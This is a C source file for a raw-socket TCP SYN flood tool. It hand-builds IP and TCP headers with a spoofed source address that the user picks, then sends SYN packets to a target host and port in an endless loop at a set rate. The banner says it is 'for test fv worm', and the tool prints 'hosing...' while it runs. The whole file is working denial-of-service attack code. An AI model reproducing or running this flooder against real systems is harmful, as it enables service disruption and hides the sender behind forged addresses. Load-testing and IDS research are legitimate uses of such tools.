/*
 * modify by Yangrenbin
 * 2006.5.17
 */
#include <stdint.h>
#include <sys/types.h>
#include <signal.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <stdio.h>
#include <netdb.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <sys/select.h>
#include <sys/time.h>
#include <unistd.h>
#define SEQ 0x28374839

int ports;
int sen;
int i;

char         *dsthost;
unsigned long src;
unsigned int rate;
unsigned long dst;
unsigned long dstport;

void abort(void)
     {
	printf("# exiting...\n\n");
	close(sen);
	exit(0);
     }

void banner(void)
     {
	system("clear");
	printf("#    ,\n");
	printf("# ,`\n");
	printf("# ,  for test fv worm\n");
	printf("#  .\n");
	printf("#    `\n\n");
     }

void usage(char *progname)
     {
	printf("\tusage: %s dst ports src rate\n\n", progname);
	printf("\t<dst>   - destination host\n");
	printf("\t<ports> - ports to flood\n\n");
	printf("\t<src>   - src host\n");
	printf("\t<rate>   - rate/s\n");
	exit(1);
     }

void parse_args(int argc, char *argv[])
     {
	dsthost              = argv[1];
		dstport = atoi(argv[2]);
		src = inet_addr(argv[3]);
		rate = atoi(argv[4]);
     }

unsigned long resolve_host(char *resolve_me)
     {
	struct hostent *host;
	if ((host=gethostbyname(resolve_me))==NULL)
	     {
		printf("# unknown host %s\n", resolve_me);
		exit(1);
	     }
	return *(unsigned long *)host->h_addr;
     }

unsigned short in_cksum (u_short *addr,int len)
     {
	register int nleft  = len;
	register u_short *w = addr;
	register int sum    = 0;
	u_short answer      = 0;
	while (nleft > 1)
	     {
		sum  += *w++;
		nleft -= 2;
	     }
	if (nleft == 1)
	     {
		*(u_char *) (&answer) = *(u_char *) w;
		sum += answer;
	     }
	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);
	answer = ~sum;
	return (answer);
     }

void send_tcp_segment(struct iphdr *ip, struct tcphdr *tcp, char *data, int dlen)
     {
	char buf[65536];
	struct {
	unsigned long saddr;
	unsigned long daddr;
	char mbz;
	char ptcl;
	unsigned short tcpl;
	       } ph;
	struct sockaddr_in sin;
	ph.saddr = ip->saddr;
	ph.daddr = ip->daddr;
	ph.mbz=0;
	ph.ptcl = IPPROTO_TCP;
	ph.tcpl = htons(sizeof(*tcp)+dlen);
	memcpy(buf, &ph, sizeof(ph));
	memcpy(buf+sizeof(ph), tcp, sizeof(*tcp));
	memcpy(buf+sizeof(ph)+sizeof(*tcp), data, dlen);
	memset(buf+sizeof(ph)+sizeof(*tcp)+dlen, 0, 4);
	tcp->check=in_cksum(buf, (sizeof(ph)+sizeof(*tcp)+dlen+1)&~1);
	memcpy(buf, ip, 4*ip->ihl);
	memcpy(buf+4*ip->ihl, tcp, sizeof(*tcp));
	memcpy(buf+4*ip->ihl+sizeof(*tcp), data, dlen);
	memset(buf+4*ip->ihl+sizeof(*tcp)+dlen, 0, 4);
	ip->check=in_cksum(buf, (4*ip->ihl + sizeof(*tcp)+ dlen + 1) & ~1);
	memcpy(buf, ip, 4*ip->ihl);
	sin.sin_family=AF_INET;
	sin.sin_port=tcp->dest;
	sin.sin_addr.s_addr=ip->daddr;
	sendto(sen, buf, 4*ip->ihl + sizeof(*tcp)+ dlen, 0, &sin, sizeof(sin));
	//if(sendto(sen, buf, 4*ip->ihl + sizeof(*tcp)+ dlen, 0, &sin, sizeof(sin))<0)
	  //   {
		//perror("# error: sending syn packet");
		//exit(1);
	    // }
     }

void main(int argc, char *argv[])
     {
	struct {
		struct iphdr ip;
		struct tcphdr tcp;
	} send_tcp;
	struct timeval tv_start,tv_end;
	struct sockaddr_in sin;
	int sinlen;
	int j;
	struct {
	unsigned long saddr;
	unsigned long daddr;
	unsigned char placeholder;
	unsigned char protocol;
	unsigned short tcp_length;
	struct tcphdr tcp;
	       } ph;
	
	banner();
	signal(SIGINT, (void (*)())abort);
	if (argc<5) usage(argv[0]);
	parse_args(argc,argv);
	dst = resolve_host(dsthost);
	printf("# destination host - %s\n",dsthost);
	printf("# destination port(s)");
	printf("\n");
	if ((sen = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
	     {
		perror("# error: can not open socket");
		exit(1);
	     }
	memset(&send_tcp,0,sizeof(send_tcp));
	send_tcp.ip.version=4;
	send_tcp.ip.ihl=5;
	send_tcp.ip.tos=0;
	send_tcp.ip.frag_off=0;
	send_tcp.ip.ttl=30;
	send_tcp.ip.protocol=IPPROTO_TCP;
	send_tcp.ip.check=0;
	send_tcp.ip.daddr=dst;
	//send_tcp.ip.saddr=269488144; // 16.16.16.16;
	send_tcp.ip.saddr=src;
	send_tcp.ip.tot_len=htons(40);
	send_tcp.ip.id=htons(random());
	
	send_tcp.tcp.ack_seq=0;
	send_tcp.tcp.res1=0;
	send_tcp.tcp.fin=0;
	send_tcp.tcp.syn=1;
	send_tcp.tcp.rst=0;
	send_tcp.tcp.psh=0;
	send_tcp.tcp.ack=0;
	send_tcp.tcp.urg=0;
	send_tcp.tcp.urg_ptr=0;
	send_tcp.tcp.source=10;
	send_tcp.tcp.dest=htons(dstport);
	send_tcp.tcp.seq=htonl(SEQ);
	send_tcp.tcp.doff=sizeof(send_tcp.tcp)/4;
	send_tcp.tcp.window=htons(65535);
	send_tcp.tcp.check=0;

	ph.saddr = send_tcp.ip.saddr;
	ph.daddr = send_tcp.ip.daddr;
	ph.placeholder=0;
	ph.protocol = IPPROTO_TCP;
	ph.tcp_length = htons(20);
	bcopy((char *)&send_tcp.tcp,(char *)&ph.tcp,20);
	
	sin.sin_family=AF_INET;
	sin.sin_port=send_tcp.tcp.dest;
	sin.sin_addr.s_addr=send_tcp.ip.daddr;
	sinlen=sizeof(sin);

	gettimeofday(&tv_start, 0);
	printf("# hosing...\n");
	printf("# press ^c to end...\n");
	
	gettimeofday(&tv_start, 0);

	struct timeval timeout;
	memset(&timeout, 0, sizeof(struct timeval));
	printf("rate=%d\n", rate);
	int usec=1000000/rate;
	printf("wait %u\n", usec);
	while(1) 
	{
		//set fields to be changed
/*		
		if(send_tcp.ip.saddr > 0xe0e0e0e0)  // 224.224.224.224
		{
			send_tcp.ip.saddr = 269488144; // 16.16.16.16
		}
		send_tcp.ip.saddr++;
*/
		send_tcp.ip.check = 0;

		if(send_tcp.tcp.source > 65000)
			send_tcp.tcp.source = 10;
		send_tcp.tcp.source++;
		send_tcp.tcp.check = 0;

		ph.saddr = send_tcp.ip.saddr;
		ph.tcp.source = send_tcp.tcp.source;
		ph.tcp.check = send_tcp.tcp.check;
		
		send_tcp.ip.check=in_cksum(&send_tcp.ip, 20);
		send_tcp.tcp.check=in_cksum(&ph, 32);
		sendto(sen, &send_tcp, 40, 0, &sin, sinlen);

		timeout.tv_usec = usec;
		select(0, NULL, NULL, NULL, &timeout);
	}
	gettimeofday(&tv_end, 0);
	printf("start: %d  %d    end: %d   %d\n",tv_start.tv_sec,tv_start.tv_usec,tv_end.tv_sec,tv_end.tv_usec);
}
